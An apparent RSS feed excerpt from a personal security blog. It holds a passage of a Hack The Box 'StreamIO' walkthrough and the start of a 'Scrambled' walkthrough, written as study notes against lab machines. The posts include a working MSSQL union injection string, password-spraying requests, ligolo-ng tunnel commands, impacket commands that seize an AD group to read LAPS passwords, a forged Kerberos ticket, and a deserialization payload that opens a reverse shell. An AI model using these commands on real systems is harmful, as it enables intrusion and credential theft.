<a href="https://sqlmap.org/">SQLmap</a> – An automated SQL injection tool, while this didn&#39;t work for me in this box because it was custom MSSQL queries, I think with some knowledge of the program it could have done it.
<a href="https://github.com/psypanda/hashID">hashid</a> – A program for identifying hashes, can output to formats for <code>JohnTheRipper</code> or <code>hashcat</code>.
<a href="https://portswigger.net/burp/communitydownload">BurpSuite CE</a> – HTTP proxy with tools built in for penetration testing.
<a href="https://www.netexec.wiki/">Netexec</a> – Replacement for <code>crackmapexec</code>, its the Swiss army knife of Windows tools.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>This box has typical Windows DC ports for LDAP, RPC, Kerberos, etc. The interesting ports I can see are port <code>80</code> and <code>443</code>, as it seems a website is hosted on this box. I quickly check if the <code>guest</code> account or null sessions are enabled and neither is working, so I believe my only option for enumerating the domain right now is to look for access or credentials on the website.</p>

<p>When navigating to the website, I&#39;m prompted to accept the certificate. Looking over the certificate, I can see two DNS names on here. The one reported by <code>nmap</code>, <code>streamio.htb</code>, and another, <code>watch.streamio.htb</code>. I add both of these to my <code>/etc/hosts</code> file and continue browsing the website.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051317/Pasted_image_20260314173147_sxeez1.png" alt=""></p>

<h2 id="web-attacks">Web Attacks</h2>

<p>The first site, <code>streamio.htb</code>, is an online movie streaming site with not much going on. I test some of the forms for inject-ability, and fuzz using <code>ffuf</code>, but don&#39;t get anywhere. There is a “login” and “register” option, but creating an account doesn&#39;t seem to do anything, and some quick attempts at default credentials don&#39;t hit anything.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051319/Pasted_image_20260330130810_atqmjn.png" alt=""></p>

<p>The second site, <code>watch.streamio.htb</code>, looks like its still the same type of site, and I don&#39;t find much else here. I&#39;ll note here that I didn&#39;t try fuzzing the second site, which I should have.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051319/Pasted_image_20260330133258_jrv9q8.png" alt=""></p>

<p>I have not done much website penetration testing since I made some changing to my approach to penetration testing, so this makes me nervous. I don&#39;t have much in the way of notes or procedures for doing this. I make some vain attempts at finding information or ways in and don&#39;t come up with anything.</p>

<p>I check the guided mode for the box, and one of the questions ask “What PHP page in <code>/admin/</code> says it&#39;s “Only accessible through includes”?“. I did not enumerate the <code>/admin/</code> directory, and this has me thinking that I should be running two wordlists while fuzzing, but that seems excessive, so I&#39;ll have to rethink how I should have enumerated that. I enumerate the <code>/admin/</code> directory and find <code>index.php</code> and <code>master.php</code>. <code>index.php</code> gives a “403 Forbidden” error, and the <code>master.php</code> page states that it&#39;s only accessible through includes. So, it seems like we need to find some kind of LFI here to be able to use the <code>master.php</code> file.</p>

<p>I get stuck again while trying to find an LFI or credentials, so again, I check the guide.  The guide asks “What PHP page is vulnerable to SQL injection?”. I run <code>ffuf</code> against both <code>watch.streamio.htb</code> and <code>streamio.htb</code>, and both <code>search.php</code> and <code>blocked.php</code> comes up as a page on <code>watch.streamio.htb</code>. This was a major misstep when I was enumerating before, had I found these sites I likely would have not had to check the guide. A search page seems like the perfect place for a SQL injection, so having forgotten everything about SQL injection, I put <code>SQLMap</code> on it. I try this for a while and don&#39;t end up getting anywhere, its clear that the injection is here, but I cannot enumerate it. I try using some SQLi cheat sheets to help discover it but I am not successful.</p>

<p>For fuzzing, I use the DirBuster 2.3 medium directory list. Its important when fuzzing for web pages to keep in mind what their extension may be. You can have a wordlist that has the right word, but if you don&#39;t have the right extension you may not hit it.</p>

<pre><code class="language-shell">ffuf -w (...)DirBuster-2007_directory-list-2.3-medium.txt -u &#34;https://watch.streamio.htb/FUZZ.php&#34;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051321/Pasted_image_20260330133320_pnore0.png" alt=""></p>

<p><code>SQLmap</code> does not detect any inject-ability, which is confusing for me as this seems like the perfect place for. I try messing with the settings on <code>SQLmap</code> for an hour or two and don&#39;t get anywhere. At this point, I need to check the walk-through because I am hard stuck, and I know this page is the injection site because it is the answer to the guide question.</p>

<p>The walk-through tells me that the injection is here, but <code>SQLmap</code> will fail because it is a custom <code>MSSQL</code> instance. It gives me a string to get started injecting and I set off on enumerating the database.</p>

<pre><code class="language-sqli">10&#39; union select 1,@@version,3,4,5,6-- -
</code></pre>

<p>With minor edits to this snippet, you can query the information you need to enumerate the database and its tables.</p>

<p>This is the format of the injection, it starts with a valid search string (10), uses a <code>&#39;</code> to end the string, then uses “union select” SQL commands to grab information, and ends with comment characters to comment out the rest of the query. Since there are six columns in this database, we need to supply information for each (1 for column 1, @@version for column 2, etc.).</p>

<p>I follow along the walk-through for the SQL injection portion, having not recorded anything when I was initially studying it several months ago. I am kicking myself this whole time, because I have done the module on SQL injection but can&#39;t remember anything about the methodology.</p>

<p>Finally, we dump a table called &#39;users&#39; that contains usernames and hashed credentials. The hashes are not very long, and a quick check with <code>hashid</code> shows that they are likely MD5.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051324/Pasted_image_20260330135045_iq4wux.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051325/Pasted_image_20260330135328_pbcnk5.png" alt=""></p>

<p>I run all the hashes through <code>hashcat</code>, and while some do not get cracked, many do. I use the list of usernames and cracked passwords and run them through <code>ffuf</code> to attempt logins on the <code>streamio.htb</code> login portal. One set of credentials works for user <code>yoshihide</code>!</p>

<p>I used the <code>-request</code> switch on <code>ffuf</code> to do the password spraying. The <code>-request</code> switch takes a file that contains the format of the request, which I grabbed from <code>BurpSuite</code>, and uses all of those headers and POST data.</p>

<p>My <code>fuzz.req</code> file looked like this:</p>

<pre><code class="language-http">POST /login.php HTTP/2
Host: streamio.htb
Cookie: PHPSESSID=eemhbc5g41fn9sig50gdhqssgc
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://streamio.htb
Referer: https://streamio.htb/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=USER&amp;password=PASSWORD
</code></pre>

<p>While the <code>ffuf</code> command to utilize it looked like this:</p>

<pre><code class="language-shell">ffuf -request fuzz.req -w userdb_usernames.list:USER -w userdb_passwords.list:PASSWORD -fs 4207
</code></pre>

<p>This <code>-fs 4207</code> in this command is to filter out pages with a size of <code>4207</code>, which was the size of any request that was unsuccessful.</p>

<p>With a user account, I check if I can authenticate to the domain, which I can&#39;t. I check the <code>index.php</code> page that sits in the <code>/admin/</code> directory and find an <code>Admin panel</code>, that contains some functions for managing the database and users.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051327/Pasted_image_20260330135850_i81jex.png" alt=""></p>

<p>I try seeing if I can do some XSS in the “Leave a message for admin”, but I can&#39;t find any entry points or LFIs.</p>

<p>I check the guide again, and it states I should be looking for an additional page in the form of a parameter. I fuzz the parameters on the page and <code>debug</code> comes up as a parameter that accepts input. Having just done some LFI training (and taking notes this time!) I start testing this parameter and find the LFI I&#39;m looking for. I can read files on the machine itself, and I start trying to read the <code>index.php</code> and <code>master.php</code>, but neither is displaying correctly. I use the PHP filter <code>php://filter/read=convert.base64-encode/resource=</code> to grab the files as base64 encoded strings, then decode them and read the files. If I had not done the file inclusion module right before this, I would for sure not have found this. After reading the <code>master.php</code> file, we see at the end of it that there is an evaluation being done on <code>file_get_contents</code>, which seems like a way to get an RCE.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051330/Pasted_image_20260330142803_ywqyh6.png" alt=""></p>

<p>I see in the code that there is a parameter, <code>include</code>, that needs to be set to access the <code>eval(file_get_contents)</code>. So I need to load the file outside of a direct read, which I can do through the LFI, then pass the <code>include</code> parameter with a path to a file to get evaluated.</p>

<p>I get stuck here trying to form the POST request and have to check the walkthrough, and I was close but not quite there, plus my file was a webshell which was not going to work for the evaluate statement. This request is an RFI instead of a LFI. The remote file is a PHP <code>system()</code> call that gives me remote code execution.</p>

<p>With the request formed, I generate a <code>PowerShell</code> reverse shell from <a href="https://revshells.com">revshells.com</a> and get remote access.</p>

<h2 id="initial-access">Initial Access</h2>

<p>The webserver is running under user <code>yoshihide</code>, who is a low privilege domain user.  I enumerate the computer, which has the hostname <code>DC.streamIO.htb</code>, and the domain it hosts.</p>

<p>While enumerating I find some credentials for a MSSQL database in the PHP files. I double check the <code>nmap</code> output and scan again, and it is not accessible from a remote connection, so I&#39;ll need to do some port forwarding to get connected to it.</p>

<p>I find these credentials through using <code>findstr</code>, a command line command that will search file contents for a specific string. The command I used that got a hit on this file was:</p>

<pre><code class="language-cmd">findstr /s /i admin C:\inetpub\*.*
</code></pre>

<p>In this command I&#39;m searching every file in <code>C:\inetpub\</code> recursively for “admin” in its contents. This can produce a lot of output, but at least its easier to parse. The <code>/s</code> specifies the directory and all subdirectories, while the <code>/i</code> makes the search case insensitive.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051327/Pasted_image_20260330141848_lanbmu.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051333/Pasted_image_20260331045200_shgwoh.png" alt=""></p>

<p>So the challenge here is that this MSSQL database is only listening on a local port that is not accessible from our remote host. I can either interact with the SQL server through a <code>[PowerShell module](https://learn.microsoft.com/en-us/powershell/module/sqlserver/?view=sqlserver-ps)</code> or create a tunnel to have my network traffic be directed to the localhost port. I opt for the tunnel using <code>ligolo-ng</code>.</p>

<h2 id="ligolo-ng-setup-and-usage">ligolo-ng setup and usage</h2>

<p><code>ligolo-ng</code> is a great method of tunneling to pivot to an internal network or hit resources that you typically would not be able to. Its very easy to setup, and does not have the same limitations that a SOCKS proxy does with regards to ICMP and TCP open scans because the traffic is being routed over IP instead of being port forwarded.</p>

<p>First, we need to download a <code>proxy</code> file that corresponds with the operating system and CPU architecture of our attack box. The <code>proxy</code> file that acts as the server requires elevated privileges. Next, we need to download an <code>agent</code> file that corresponds with the operating system and CPU architecture of our target box. In my case, my attack host is linux amd64, and the target is Windows amd64.</p>

<p>On the attack box, unzip the <code>proxy</code> file you downloaded and run it with <code>sudo</code> or elevated privileges. By default, the program will attempt to get a certificate from LetsEncrypt, so I use the switch <code>-selfcert</code> so that it generates a self-signed certificate for use.</p>

<pre><code class="language-shell">sudo ./proxy -selfcert
</code></pre>

<p>In the interactive console for the program, create a tunnel that will be the virtual network adapter that is used to transfer data. In my example, I name this tunnel “wintun”. Make sure this does not conflict with any other adapters you have. After creating this interface, run the command <code>certificate_fingerprint</code> to get a string you can pass for the connection.</p>

<pre><code class="language-ligolo-ng">interface_create --name &#34;wintun&#34;
certificate_fingerprint
</code></pre>

<p>Transfer the <code>agent</code> file to the target box, unzip the file, and run the <code>agent</code> file with the correct parameters. The <code>-connect</code> argument will be the IP of your attack box that is reachable from the target host along with the default port that <code>ligolo-ng</code> uses, <code>11601</code>, and the <code>-accept-fingerprint</code> argument will be the string you copied before.</p>

<pre><code class="language-ligolo-ng">.\agent.exe -connect 10.10.15.200:11601 -v -accept-fingerprint &lt;fingerprint&gt;
</code></pre>

<p>You should see the session start on your attack host that is running the <code>proxy</code> file. Now we need to select the session and start the tunnel. Type <code>session</code> in the console and select <code>1</code> if this is the first connection to the proxy, which it likely is. With the session started, we can start the tunnel with the <code>tunnel_start</code> command.</p>

<pre><code class="language-ligolo-ng">session
1
tunnel_start --tun wintun
</code></pre>

<p>Normally, you could add routing to other subnets after this; for example, if the internal network was <code>172.16.10.0/24</code>, we could add the route with the following command:</p>

<pre><code class="language-ligolo-ng">interface_add_route --name wintun --route 172.16.10.0/24
</code></pre>

<p>But in our case we want to hit the localhost ports on the target host. To do this, <code>ligolo-ng</code> has a special route that you add for the IP <code>240.0.0.1/32</code>. We can add this route in the same manner with the following command:</p>

<pre><code class="language-ligolo-ng">interface_add_route --name wintun --route 240.0.0.1/32
</code></pre>

<p>Now, whenever we direct our tools at the IP <code>240.0.0.1</code>, it will reach out on the localhost on whatever port is specified by the program.</p>

<p>Getting back to the box, after installing <code>ligolo-ng</code> and getting it setup, I use <code>impacket-mssqlclient</code> to connect to the MSSQL instance on the target host.</p>

<p>The <code>db_user</code> account only has access to the same database that we already enumerated, but the <code>db_admin</code> account has access to a backup that contains a similar <code>users</code> table with usernames and hashes.</p>

<p>After cracking the hashes, one of the credentials for user <code>nikk37</code> works for domain authentication and allows remote access.</p>

<p>The <code>nikk37</code> user does not have many permissions over anything, so I know I need to move laterally. During DACL enumeration I see that the user <code>JDgodd</code> has <code>CHANGE OWNERSHIP</code> over the <code>CORE STAFF</code> group, and when I check what permissions <code>CORE STAFF</code> have, using <code>PowerView</code>, I see they can read LAPS passwords so I know that is my path to escalation.</p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>I do a fiindstr for <code>JDgodd</code> and see a hit in the Firefox profiles section. I use <code>firefox-decrypt</code> to extract the data from the files, but since the device does not have Python installed, I zip the archive and move it to my attack box for decrypting.</p>

<pre><code class="language-cmd">findstr /s /i JDgodd C:\*.*
</code></pre>

<p>After decrypting the data, I get passwords for a few users. I add these users and passwords to my <code>username.list</code> and <code>password.list</code> and spray, and it turns out that the <code>JDgodd</code> user&#39;s password is the same for their Windows authentication, perfect!</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051334/Pasted_image_20260331144658_eouww5.png" alt=""></p>

<p>The <code>JDgodd</code> user does not have the <code>Remote Management Users</code> group, so I cannot login via <code>Evil-WinRM</code>. I try using <code>runas</code>, but it is denied. In order to make the changes we have a few options, I briefly try <code>ldapmodify</code>, but I cannot get it to function as I want, so I opt for the <code>impacket</code> scripts.</p>

<p>I use <code>impacket-owneredit</code> to change ownership of the <code>CORE STAFF</code> group to the <code>JDgodd</code> user.</p>

<pre><code class="language-shell">impacket-owneredit -action write -new-owner &#39;JDgodd&#39; -target-dn &#39;CN=CORE STAFF,CN=Users,DC=streamio,DC=htb&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;password&#39; -dc-ip 10.129.20.20
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051337/Pasted_image_20260401080207_qd9a2j.png" alt=""></p>

<p>With ownership over the group, we can add and remove rights over the group to other users. I assign the <code>WriteMembers</code> right to <code>JDgodd</code>.</p>

<pre><code class="language-shell">impacket-dacledit -action &#39;write&#39; -rights &#39;WriteMembers&#39; -principal &#39;JDgodd&#39; -target-dn &#39;CN=CORE STAFF,CN=Users,DC=streamio,DC=htb&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;password&#39; -dc-ip 10.129.20.20
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051340/Pasted_image_20260401080314_frco88.png" alt=""></p>

<p>Finally, I run <code>net rpc</code> to add the user <code>JDgodd</code> to the group. This gives <code>JDgodd</code> access to read LAPS passwords. I use <code>ldapsearch</code> to run the query and the LAPS password for the DC is provided.</p>

<pre><code class="language-shell">net rpc group addmem &#34;CORE STAFF&#34; JDgodd -U streamio.htb/JDgodd%&#39;password&#39; -S 10.129.20.20
</code></pre>

<pre><code class="language-shell">ldapsearch -x -H ldap://10.129.20.20 -D &#39;JDgodd@streamio.htb&#39; -w &#39;password&#39; -b &#34;DC=streamio,DC=htb&#34; &#34;(ms-MCS-AdmPwd=*)&#34; ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dNSHostName
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051342/Pasted_image_20260401080829_hnhdlf.png" alt=""></p>

<p>We can also use <code>netexec</code> for this, we just need to specify the <code>laps</code> module.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1775051337/Pasted_image_20260401032552_bkjliq.png" alt=""></p>

<p>(The passwords are different because I restarted the machine to show the <code>ldapsearch</code> method.)</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>With this password, we can access the device as <code>Administrator</code>.</p>

<p>I use this access to get to the Desktop of the <code>Martin</code> user, who is a Domain Administrator, where the <code>root.txt</code> flag is.</p>

<p>In a real environment, we&#39;d further escalate by dumping the SAM and get the <code>Martin</code> user&#39;s credentials for control over the domain.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>I struggled a lot with the web attack portion of this, I definitely need to review and note enumeration and attack techniques for web vulnerabilities. It has made me realize how far I have come and my change in approach. The Windows AD portion was pretty normal, nothing significantly challenging, but I have a decent amount of experience with it at this point and have clear goals and things to check off when I get an authenticated account. I&#39;m going to focus on more web attack boxes for the next few weeks to try to improve that portion of my skills.</p>

<p>Thanks for reading!</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/streamio</guid>
      <pubDate>Wed, 01 Apr 2026 14:09:28 +0000</pubDate>
    </item>
    <item>
      <title>Scrambled</title>
      <link>https://blog.jjnetops.net/scrambled</link>
      <description>&lt;![CDATA[Scrambled is a medium difficulty Windows box. The box involves enumerating a website for credentials, using those credentials to move laterally a couple times for additional access, then take advantage of weak serialization to catch a shell as SYSTEM.&#xA;!--more--&#xA;This box was a fun challenge since you&#39;re required to use exclusively Kerberos for authentication, since NTLM is disabled on the domain. Using only Kerberos required me to remember and re-evaluate what I had learned in Hack the Box (HTB) Academy before on how to interact with a domain using Kerberos on Linux. The weak serialization was a new attack I had seen but not done before, but ended up being very straightforward in hindsight.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;Kerberos Authentication for TGT&#xA;Authenticated Enumeration&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used ticketer and mssqlclient, which allows you to maliciously interact with a Windows system.&#xA;hashcat - Hash cracking program.&#xA;certipy - A program for primarily interacting with AD Certificate Services, but has other uses as well. &#xA;dsacls) - A program native to Windows for enumerating AD ACLs.&#xA;smbclient - Part of the Samba Suite, this program allows you to interact with SMB shares from Linux.&#xA;netcat - Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an nmap scan.&#xA;ktutil - A program for generating keytab or Kerberos V4 srvtab files.&#xA;kinit - A program for obtaining a ticket-granting ticket.&#xA;realm - A program for interacting with a Windows Active Directory (AD) domain.&#xA;krb5-user - A package of tools for interacting with Kerberos.&#xA;klist - A tool for listing the Kerberos principal and Kerberos tickets held in cache, or keys held in a keytab file.&#xA;ilSpycmd - A frontend for ILSpy, a program for decompiling .NET programs.&#xA;&#xA;nmap scan&#xA;&#xA;nmap shows quite a few ports open on this box. The normal Windows Domain Controller (DC) ports are open such as DNS, LDAP, SMB, Kerberos, WinRM, etc.&#xA;&#xA;We also see port 80 (HTTP) is listening, port 1433 (MSSQL) is listening, port 4411 is listening which after a cursory google search say it might be &#34;Found Messaging Protocol&#34; which is something I&#39;ve never heard of, finally port 9389 is listening which might be for Active Directory Web Services. The domain is scrm.local, with the hostname being DC1.&#xA;&#xA;We have a lot to work with and a lot to enumerate.&#xA;&#xA;Initial Enumeration&#xA;&#xA;I check SMB shares, it doesn&#39;t appear that they allow Guest or null authentication sessions.&#xA;&#xA;I think my best chance to get some credentials is by enumerating the website on port 80.&#xA;&#xA;The website lists its an intranet for Scramble Corp, it has some stats and a page for IT Services. The IT Services page lists that NTLM authentication is disabled due to a recent breach.&#xA;&#xA;Because NTLM is disabled, the ways I&#39;m used to authenticating are not going to work; however, I am prepared because I&#39;ve done the &#34;Password Attacks&#34; module on HTB Academy which goes into depth on interacting with Kerberos from Linux.&#xA;&#xA;To authenticate to Kerberos, I need a keytab file. A keytab file stores long-term keys that allow authentication to Kerberos, which will provide a ccache file as long as my authentication remains valid. In order to communicate with the Kerberos Key Distribution Center (KDC), I need to configure realm and add the domain and realm to that. It is important to note that while these concepts are similar in function, domain and realm, they are two separate systems so do not think of them as placeholder names. The realm is the Linux system, and based on its configuration file it talks to a domain it is mapped to.&#xA;&#xA;The domain is scrm.local, so our realm will be SCRM.LOCAL. When referencing either of these two things in this post, the realm will be in all capital letters, SCRM.LOCAL, and the domain will be in all lowercase, scrm.local.&#xA;&#xA;In order to configure the realm, I needed to install realm and krb5-user from the repository. Once installed, I edited /etc/krb5.conf to add the realm.&#xA;&#xA;I added SCRM.LOCAL as the default realm, and added the options under &#34;realms&#34; down below that. It is important to have both the domain and the hostname in your /etc/hosts file.&#xA;&#xA;Down towards the bottom there is a section titles &#34;domainrealm&#34; that ties the domain and realms together.&#xA;&#xA;With these options added, I can now contact the KDC, but first I need a keytab file. I&#39;m going to describe this process very verbosely because this is a learning opportunity for me to straighten out the process, and it might be for you as well.&#xA;&#xA;I take the username I discovered above, ksimpson, and knowledge of their password reset policies, that they put the username as the password on reset, and make a keytab file with these credentials (not knowing if it will authenticate or not yet).&#xA;&#xA;In a real-world situation, you could likely do some social engineering to leave a voicemail for the password reset as they request, but for this box the password is already reset.&#xA;&#xA;Kerberos Authentication for TGT&#xA;&#xA;With the credentials, we create the keytab file using ktutil. Launching this problem brings me to a separate command line, where I can enter the specifics of the credentials.&#xA;&#xA;ktutil&#xA;&#xA;I need to stress here that is is very important that you notate the REALM, which if you&#39;re following along will be in ALL CAPS, if you do not, then this keytab file will not work.&#xA;&#xA;addent -password -p ksimpson@SCRM.LOCAL -k 1 -e RC4-HMAC&#xA;This will then prompt for the password for ksimpson, which we think is the same as the username from the password reset.&#xA;&#xA;wkt /home/username/Scrambled/ksimpson.keytab&#xA;This writes the keytab to the path listed. Using the ~ for your home directory doesn&#39;t work here so make sure you have the full path without it.&#xA;&#xA;I check the keytab file with klist and verify that it looks correct:&#xA;&#xA;I have two keytab files here, one where I did not capitalize the realm correctly (top one) and was getting errors when attempting to use it. When attempting to use that file the error I was getting was &#34;kinit: Cannot find KDC for realm scrm.local while getting initial credentials.&#34; Its stating that the realm scrm.local is not configured with a KDC, which is correct because the realm I have configured is SCRM.LOCAL.&#xA;&#xA;With my keytab file, I can attempt to get a ccache file (authenticate to Kerberos) with kinit. kinit will request the user&#39;s Ticket Granting Ticket (TGT) and store this ticket in the ccache file, which for me by default is /tmp/krb5cc1000.&#xA;&#xA;kinit ksimpson@SCRM.LOCAL -k -t ~/Scrambled/ksimpson..keytab&#xA;This will attempt to authenticate to Kerberos using the keytab file and generate a TGT for the user. If any errors come up, its likely that you didn&#39;t capitalize the realm somewhere.&#xA;&#xA;I verify I have the TGT with klist, this lists what services are authenticated. In the screenshot below I just have the TGT.&#xA;&#xA;To show an example of what a bad authentication looks like, with incorrect password we would get an error during kinit that the credentials are incorrect.&#xA;&#xA;I generated a new keytab file with an incorrect password and attempted to authenticate.&#xA;&#xA;I&#39;ll clear this out by deleting the keytab file. If you want to clear an authenticated session, you can delete the /etc/krb5cc1000 file.&#xA;&#xA;Here is a list of every step I took:&#xA;&#x9;Find username and likely credentials (screenshot on webpage, password reset policy).&#xA;&#x9;Install krb5-user, realm, kinit, klist, ktutil.&#xA;&#x9;Configure /etc/krb5.conf with the realm and domain, paying close attention to capitalization of the realm.&#xA;&#x9;Generate keytab file using ktutil.&#xA;&#x9;Authenticate to Kerberos using kinit to get TGT.&#xA;&#xA;Authenticated Enumeration&#xA;&#xA;Finally, with an authenticated user, I can start enumerating.&#xA;&#xA;I first enumerate the SMB shares as ksimpson, although this doesn&#39;t provide much besides a PDF detailing some changes they made after the compromise. This PDF might be helpful later.&#xA;&#xA;I start enumerating LDAP as well to see what other users exist on the domain, and accounts that may be vulnerable. I add the users to my usernames.list, and enumerate the password policy, which has no threshold so there is no chance of account lockout.&#xA;&#xA;I see some interesting accounts that may be service accounts in the list, so I kerberoast them and get a hit on sqlsvc, likely the MSSQL service account. I plug this hash into hashcat and it returns the password of the service account.&#xA;&#xA;Lateral Movement&#xA;&#xA;Using the same method listed above with ktutil, I generate a keytab file and authenticate as sqlsvc to the domain.&#xA;&#xA;I attempt to authenticate to the MSSQL database as sqlsvc using the kcache that we generated from kinit, but I keep getting an error &#34;KDCERRWRONGREALM&#34;.&#xA;&#xA;Since I cannot get a TGS from Kerberos for this, I&#39;ll make one myself with the Impacket script ticketer.&#xA;&#xA;I grab the domain SID, get the NTLM hash of the sqlsvc password, and generate the TGS but as Administrator, because why not.&#xA;&#xA;I export this to my KRB5CCNAME variable and connect using Impacket&#39;s mssqlclient, which lets me in.&#xA;&#xA;In the database, I enumerate the data in there and find additional credentials for the miscsvc account we saw before.&#xA;&#xA;With access to the database as administrator, I can read the flags, but we want to get full control over this machine. I grab both flags and continue.&#xA;&#xA;I enumerate the miscsvc user and do not find anything relevant, I checked DACLs, certipy, BloodHound, and don&#39;t find anything. The miscsvc user has access to the &#34;IT&#34; share, which contains an executable and a DLL file for the Sales Order Client application, but without a Windows PC setup to run it I do not pursue this, initially. I briefly tried to get WINE to work, but had no luck at all.&#xA;&#xA;Privilege Escalation&#xA;&#xA;I look over the DLL file using ilSpycmd and see some of the commands that can be sent over the port to the service. I connect using netcat and attempt to logon, but I can&#39;t get the logon function to work; however, it doesn&#39;t seem that you even need to logon to communicate with the server. I send the LISTORDERS command and get back what looks like base64 encoded information.&#xA;&#xA;I end up stopping at this point, assuming I needed to use the executable to get further, and checked the walkthrough to see what the privilege escalation path is. The rest of the attack involves, according to the walkthrough, pouring over the DLL and finding an account that does not need password authentication, using that account to login to the program to generate a log file, identify the weak serialization and exploit it by sending data to call another program on the computer, ideally netcat or a shell.&#xA;&#xA;What I ended up doing was downloading the ysoserial.net program that they mention in the walkthrough, generating the payload using it, and sending that via the listening port 4411 using the SENDORDER command, then having the running service call netcat to initiate a reverse shell as SYSTEM. I wouldn&#39;t have gotten to this far even with using the executable.&#xA;&#xA;Lessons Learned&#xA;&#xA;This box was fun because it was a change of pace in dealing with an AD domain. I believe more modern deployments of AD have NTLM turned off by default, so getting used to using Kerberos is a good thing. This box involved exploiting weak serialization, which I spotted, but I had no idea how to exploit. I&#39;ll be looking for more information in understanding these types of attacks in the future.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>Scrambled is a medium difficulty Windows box. The box involves enumerating a website for credentials, using those credentials to move laterally a couple times for additional access, then take advantage of weak serialization to catch a shell as <code>SYSTEM</code>.

This box was a fun challenge since you&#39;re required to use exclusively Kerberos for authentication, since NTLM is disabled on the domain. Using only Kerberos required me to remember and re-evaluate what I had learned in Hack the Box (HTB) Academy before on how to interact with a domain using Kerberos on Linux. The weak serialization was a new attack I had seen but not done before, but ended up being very straightforward in hindsight.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a></li>
<li><a href="#kerberos-authentication-for-tgt">Kerberos Authentication for TGT</a></li>
<li><a href="#authenticated-enumeration">Authenticated Enumeration</a></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>ticketer</code> and <code>mssqlclient</code>, which allows you to maliciously interact with a Windows system.
<a href="https://hashcat.net/hashcat/">hashcat</a> – Hash cracking program.
<a href="https://github.com/ly4k/Certipy">certipy</a> – A program for primarily interacting with AD Certificate Services, but has other uses as well.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">dsacls</a> – A program native to Windows for enumerating AD ACLs.
<a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html">smbclient</a> – Part of the Samba Suite, this program allows you to interact with SMB shares from Linux.
<a href="https://netcat.sourceforge.net/">netcat</a> – Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an <code>nmap</code> scan.
<a href="https://web.mit.edu/kerberos/krb5-1.12/doc/admin/admin_commands/ktutil.html">ktutil</a> – A program for generating keytab or Kerberos V4 srvtab files.
<a href="https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_commands/kinit.html">kinit</a> – A program for obtaining a ticket-granting ticket.
<a href="https://www.systutorials.com/docs/linux/man/8-realm/">realm</a> – A program for interacting with a Windows Active Directory (AD) domain.
<a href="https://packages.debian.org/bullseye/krb5-user">krb5-user</a> – A package of tools for interacting with Kerberos.
<a href="https://web.mit.edu/kerberos/krb5-devel/doc/user/user_commands/klist.html">klist</a> – A tool for listing the Kerberos principal and Kerberos tickets held in cache, or keys held in a keytab file.
<a href="https://github.com/icsharpcode/ILSpy">ilSpycmd</a> – A frontend for ILSpy, a program for decompiling .NET programs.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p><code>nmap</code> shows quite a few ports open on this box. The normal Windows Domain Controller (DC) ports are open such as DNS, LDAP, SMB, Kerberos, WinRM, etc.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1773040689/Pasted_image_20260304221320_xujgq0.png" alt=""></p>

